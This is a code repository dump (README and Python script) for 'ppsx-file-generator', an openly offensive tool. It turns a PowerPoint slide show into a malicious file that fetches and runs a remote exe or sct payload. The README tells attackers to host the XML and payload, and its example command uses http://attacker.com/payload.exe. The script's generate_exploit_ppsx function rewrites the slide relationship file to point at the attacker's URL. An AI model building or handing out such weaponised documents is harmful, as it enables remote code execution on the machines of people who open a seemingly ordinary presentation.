├── README.md ├── generate_ppsx.py └── template.ppsx /README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | ppsx-file-generator is a python tool that generates a power point slide show file that executes code from a remote source based on an existing file. 4 | 5 | # What does it do? 6 | 7 | The tool generates a power point slide show file and an xml file based using the input provided. The power point file accesses the xml file which holds information of the payload file. An attacker could serve the xml file and the payload on a local or public server and provide the url for each as input. 8 | 9 | # Getting the code 10 | 11 | First, get the code: 12 | ``` 13 | git clone https://github.com/ParsingTeam/ppsx-file-generator.git 14 | ``` 15 | 16 | ppsx-file-generator is written in Python and requires zipfile which can be installed using Pip: 17 | ``` 18 | pip install zipfile 19 | ``` 20 | Requires Microsoft Office Power Point to carry out this task. 21 | 22 | # Usage 23 | First open Microsoft Office Power Point and open 'template.ppsx'. Open your own presentation file and copy the icon 'Coder.exe' from template.ppsx to slide 1 of your power point file. Save the file as Power Point Show (.ppsx). Then use the python tool as 24 | 25 | Usage: generate_ppsx.py input_filename -o output_filename -p payload_uri -x xml_uri 26 | 27 | input_filename The input ppsx file name. 28 | 29 | -o Output .ppsx file name, (inlcude the .ppsx). 30 | -p The payload exe or sct file url. 31 | It must be in an accessible web server. (Optional for xml file) 32 | -x The full xml uri to be called by the ppsx file. 33 | It must be in an accessible web server.(Required) 34 | 35 | ``` 36 | python generate_ppsx.py -o output.ppsx -p http://attacker.com/payload.exe -x http://attacker.com/content.xml input.ppsx 37 | Generated content.xml successfully 38 | Generated output.ppsx successfully 39 | ``` 40 | -------------------------------------------------------------------------------- /generate_ppsx.py: -------------------------------------------------------------------------------- 1 | import getopt 2 | import os 3 | import shutil 4 | 5 | import sys 6 | import tempfile 7 | from zipfile import * 8 | 9 | opts, args = getopt.getopt(sys.argv[1:], "o:p:x:", ["output_filename=", "payload_uri", "xml_uri"]) 10 | 11 | if len(args) == 0: 12 | print "Usage: %s input_filename -o output_filename -p payload_uri -x xml_uri\n" % os.path.basename(__file__) 13 | print "\tinput_filename\t\tThe input ppsx file name.\n" 14 | print "\t-o\t\tOutput .ppsx file name, (inlcude the .ppsx)." 15 | print "\t-p\t\tThe payload exe or sct file url. It must be in an accessible web server. (Optional)" 16 | print "\t-x\t\tThe full xml uri to be called by the ppsx file. It must be in an accessible web server.(Required)" 17 | sys.exit(1) 18 | 19 | input_file_name = args[0] 20 | output_file_name = "Output_" + args[0] 21 | payload_uri = None 22 | xml_uri = "" 23 | 24 | for opt in opts: 25 | if opt[0] == '-o': 26 | output_file_name = opt[1] 27 | elif opt[0] == '-p': 28 | payload_uri = opt[1] 29 | elif opt[0] == '-x': 30 | xml_uri = opt[1] 31 | 32 | if not xml_uri: 33 | print "Usage: %s input_filename -o output_filename -p payload_uri -x xml_uri\n" % os.path.basename(__file__) 34 | print "\tinput_filename\t\tThe input ppsx file name.\n" 35 | print "\t-o\t\tOutput .ppsx file name, (inlcude the .ppsx)." 36 | print "\t-p\t\tThe payload exe or sct file url. It must be in an accessible web server. (Optional)" 37 | print "\t-x\t\tThe full xml uri to be called by the ppsx file. It must be in an accessible web server.(Required)" 38 | sys.exit(1) 39 | 40 | if payload_uri: 41 | xml_template = """ 42 | 43 | 44 | 49 | 50 | 55 | 56 | """ 57 | 58 | 59 | f = open(xml_uri[xml_uri.rfind("/")+1:], "w") 60 | f.write(xml_template.replace("PAYLOAD_URI", payload_uri)) 61 | f.close() 62 | 63 | print "Generated " + xml_uri[xml_uri.rfind("/")+1:] + " successfully" 64 | 65 | def generate_exploit_ppsx(): 66 | # Preparing malicious PPSX 67 | shutil.copy2(input_file_name, output_file_name) 68 | 69 | class UpdateableZipFile(ZipFile): 70 | """ 71 | Add delete (via remove_file) and update (via writestr and write methods) 72 | To enable update features use UpdateableZipFile with the 'with statement', 73 | Upon __exit__ (if updates were applied) a new zip file will override the exiting one with the updates 74 | """ 75 | 76 | class DeleteMarker(object): 77 | pass 78 | 79 | def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False): 80 | # Init base 81 | super(UpdateableZipFile, self).__init__(file, mode=mode, 82 | compression=compression, 83 | allowZip64=allowZip64) 84 | # track file to override in zip 85 | self._replace = {} 86 | # Whether the with statement was called 87 | self._allow_updates = False 88 | 89 | def writestr(self, zinfo_or_arcname, bytes, compress_type=None): 90 | if isinstance(zinfo_or_arcname, ZipInfo): 91 | name = zinfo_or_arcname.filename 92 | else: 93 | name = zinfo_or_arcname 94 | # If the file exits, and needs to be overridden, 95 | # mark the entry, and create a temp-file for it 96 | # we allow this only if the with statement is used 97 | if self._allow_updates and name in self.namelist(): 98 | temp_file = self._replace[name] = self._replace.get(name, 99 | tempfile.TemporaryFile()) 100 | temp_file.write(bytes) 101 | # Otherwise just act normally 102 | else: 103 | super(UpdateableZipFile, self).writestr(zinfo_or_arcname, 104 | bytes, compress_type=compress_type) 105 | 106 | def write(self, filename, arcname=None, compress_type=None): 107 | arcname = arcname or filename 108 | # If the file exits, and needs to be overridden, 109 | # mark the entry, and create a temp-file for it 110 | # we allow this only if the with statement is used 111 | if self._allow_updates and arcname in self.namelist(): 112 | temp_file = self._replace[arcname] = self._replace.get(arcname, 113 | tempfile.TemporaryFile()) 114 | with open(filename, "rb") as source: 115 | shutil.copyfileobj(source, temp_file) 116 | # Otherwise just act normally 117 | else: 118 | super(UpdateableZipFile, self).write(filename, 119 | arcname=arcname, compress_type=compress_type) 120 | 121 | def __enter__(self): 122 | # Allow updates 123 | self._allow_updates = True 124 | return self 125 | 126 | def __exit__(self, exc_type, exc_val, exc_tb): 127 | # call base to close zip file, organically 128 | try: 129 | super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb) 130 | if len(self._replace) > 0: 131 | self._rebuild_zip() 132 | finally: 133 | # In case rebuild zip failed, 134 | # be sure to still release all the temp files 135 | self._close_all_temp_files() 136 | self._allow_updates = False 137 | 138 | def _close_all_temp_files(self): 139 | for temp_file in self._replace.itervalues(): 140 | if hasattr(temp_file, 'close'): 141 | temp_file.close() 142 | 143 | def remove_file(self, path): 144 | self._replace[path] = self.DeleteMarker() 145 | 146 | def _rebuild_zip(self): 147 | tempdir = tempfile.mkdtemp() 148 | try: 149 | temp_zip_path = os.path.join(tempdir, 'new.zip') 150 | with ZipFile(self.filename, 'r') as zip_read: 151 | # Create new zip with assigned properties 152 | with ZipFile(temp_zip_path, 'w', compression=self.compression, 153 | allowZip64=self._allowZip64) as zip_write: 154 | for item in zip_read.infolist(): 155 | # Check if the file should be replaced / or deleted 156 | replacement = self._replace.get(item.filename, None) 157 | # If marked for deletion, do not copy file to new zipfile 158 | if isinstance(replacement, self.DeleteMarker): 159 | del self._replace[item.filename] 160 | continue 161 | # If marked for replacement, copy temp_file, instead of old file 162 | elif replacement is not None: 163 | del self._replace[item.filename] 164 | # Write replacement to archive, 165 | # and then close it (deleting the temp file) 166 | replacement.seek(0) 167 | data = replacement.read() 168 | replacement.close() 169 | else: 170 | data = zip_read.read(item.filename) 171 | zip_write.writestr(item, data) 172 | # Override the archive with the updated one 173 | shutil.move(temp_zip_path, self.filename) 174 | finally: 175 | shutil.rmtree(tempdir) 176 | 177 | with UpdateableZipFile(output_file_name, "a") as o: 178 | slide_res_file = "ppt/slides/_rels/slide1.xml.rels" 179 | string = o.read(slide_res_file) 180 | if "http://192.168.56.1/calc1.sct" not in string: 181 | print "Copy 'Code.exe' from the template to slide 1 of the input file and save it with extension .ppsx" 182 | sys.exit(1) 183 | string = string.replace("http://192.168.56.1/calc1.sct", xml_uri) 184 | o.writestr(slide_res_file, string) 185 | print "Generated " + output_file_name + " successfully" 186 | 187 | if xml_uri: 188 | generate_exploit_ppsx() -------------------------------------------------------------------------------- /template.ppsx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParsingTeam/ppsx-file-generator/3c80483c53ad830451ecdace011e2f42b012952e/template.ppsx --------------------------------------------------------------------------------